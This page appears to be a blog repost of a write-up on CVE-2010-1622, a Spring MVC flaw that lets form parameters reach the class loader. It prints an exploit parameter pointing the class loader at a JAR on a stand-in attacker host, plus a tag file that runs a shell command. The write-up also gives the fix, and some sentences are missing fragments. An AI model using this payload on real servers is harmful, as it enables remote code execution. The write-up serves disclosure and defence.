天天看点

spring cve-2010-1622 exploit

http://www.exploit-db.com/exploits/13918/

http://blog.o0o.nu/2010/06/cve-2010-1622.html

projects may be affected in similar ways due to incorrect usage of Java Beans API.

Java Beans API

provides 2 methods to obtain bean information of a class:

BeanInfo getBeanInfo(Class beanClass)

BeanInfo getBeanInfo(Class beanClass, Class stopClass)

Calling getBeanInfo() on

a bean(POJO) without supplying a stopClass will

containing properties of theObject.class,

which all Java classes have as their superclass. Example:

public class Person {

  private String firstName;

  private String lastName;

  public String getFirstName();

  public void setFirstName(String firstName); 

  public String getLastName();

  public void setLastName(String lastName);

}

...

public static void main(String[] args) throws Exception {

    BeanInfo info = Introspector.getBeanInfo(Person.class);

    PropertyDescriptor[] properties = 

          info.getPropertyDescriptors();

    for (PropertyDescriptor pd : properties) {

      System.out.println("Property: " + pd.getName());

    }

  }

The output is:

Property: class

Property: firstName

Property: lastName

firstName and lastName are

expected but the class property

which returns Class. If

we callIntrospector.getBeanInfo(Class.class) we'll

get a lot more properties:

Property: annotation

Property: annotations

Property: anonymousClass

Property: array

Property: canonicalName

Property: class

Property: classLoader

Property: classes

Property: componentType

Property: constructors

Property: declaredAnnotations

Property: declaredClasses

Property: declaredConstructors

Property: declaredFields

Property: declaredMethods

Property: declaringClass

Property: enclosingClass

Property: enclosingConstructor

Spring Beans

Spring MVC allows developers to associate an object that represents HTML form input

(form backing object). Whenever user submits a form Spring MVC dynamically pre-populates all the fields of the backing objects based on parameters names. Example:

POST /adduser HTTP/1.0

firstName=Tavis&lastName=Ormandy

will result in Spring (Spring Beans component) enumerating available properties of

the form backing object and setting them if there's a match in a user submitted request. In the request above, if Person is our form's backing object, then the firstName andlastName properties

will be set to the corresponding values. To support more complex classes Spring also supports dot notation, souser.address.street=Disclosure+Str. will

be an equivalent of:

frmObj.getUser().getAddress().setStreet("Disclosure Str.")  

The problem is that Spring Beans' CachedIntrospectionResults class

that enumerates properties available to be set from user's form submission uses java.beans.Introspector.getBeanInfo() without

specifying a stop class, which means that 'class'

property and everything after it is available for setting from HTTP requests.

Attack

If an attacker submits HTTP request to a form controller with the following HTTP parameter:

class.classLoader.URLs[0]=jar:http://attacker/spring-exploit.jar!/

she will overwrite 0th element in the array returned by frmObj.getClass().getClassLoader().getURLs() with

her own URL.

Which class loader will it be?

In the case of Apache Tomcat it's org.apache.catalina.loader.WebappClassLoader

What's the deal with [0]?

Spring Framework automatically handles arrays and other collections (List, Map, etc).

It can also automatically convert String to more complex types e.g. tojava.io.File, java.net.URL,

etc.

What's the deal with jar:http://...!/ URL?

Java's URL class automatically handles http:// JAR URLs just like it handles file://

URLs, it retrieves remote JAR transparently to the caller.

Where will the attacker's URL be used?

It turned out that Jasper's TldLocationsCache will

in <%...%>).

In the attack above the attacker supplies a URL of a JAR file that contains modified spring-form.tld file

which will define Spring's custom form tags as being implemented by tag files:

/META-INF/spring-form.tld which

defines form:input and form:formtags: 

<tag-file>

    <name>input</name>

    <path>/META-INF/tags/InputTag.tag</path>

  </tag-file>

  <tag-file>

    <name>form</name>

/META-INF/tags/InputTag.tag:

<%@ tag dynamic-attributes="dynattrs" %>

<%

 java.lang.Runtime.getRuntime().exec("mkdir /tmp/PWNED"); 

%>

When Jasper will be resolving Spring form tag libraries referenced in a JSP file and

will find spring-form.tld in

the attacker supplied JAR then all of the tag files will be retrieved from that JAR file as well. These tag files will be later "called" (compiled and executed) to provide implementation of the custom tags and thus let the attacker execute her code.

It should be noted that, based on my quick inspection of the code, TldLocationsCache gets

URLs from class loader only once upon it's initialization and thus, in order for an attack to work with Tomcat+Spring MVC combination, an attacker has to submit her request to overwrite class loader's URLs before any of the JSP pages have been requested, which

makes this attack a lot harder to carry out.

How to avoid this bug?

Specify the stop class:

BeanInfo info = Introspector.getBeanInfo(Person.class, Object.class)

Parting thoughts

There's got to be more components out there that use class loader's URLs, which will

make the attack easier than the one described above.

There's got to be a way to do something interesting with other 'class'

properties still exposed. Spring's fix for this vulnerability was to blacklist 'classLoader'

property.

security implications.

下一篇: samuraiWTF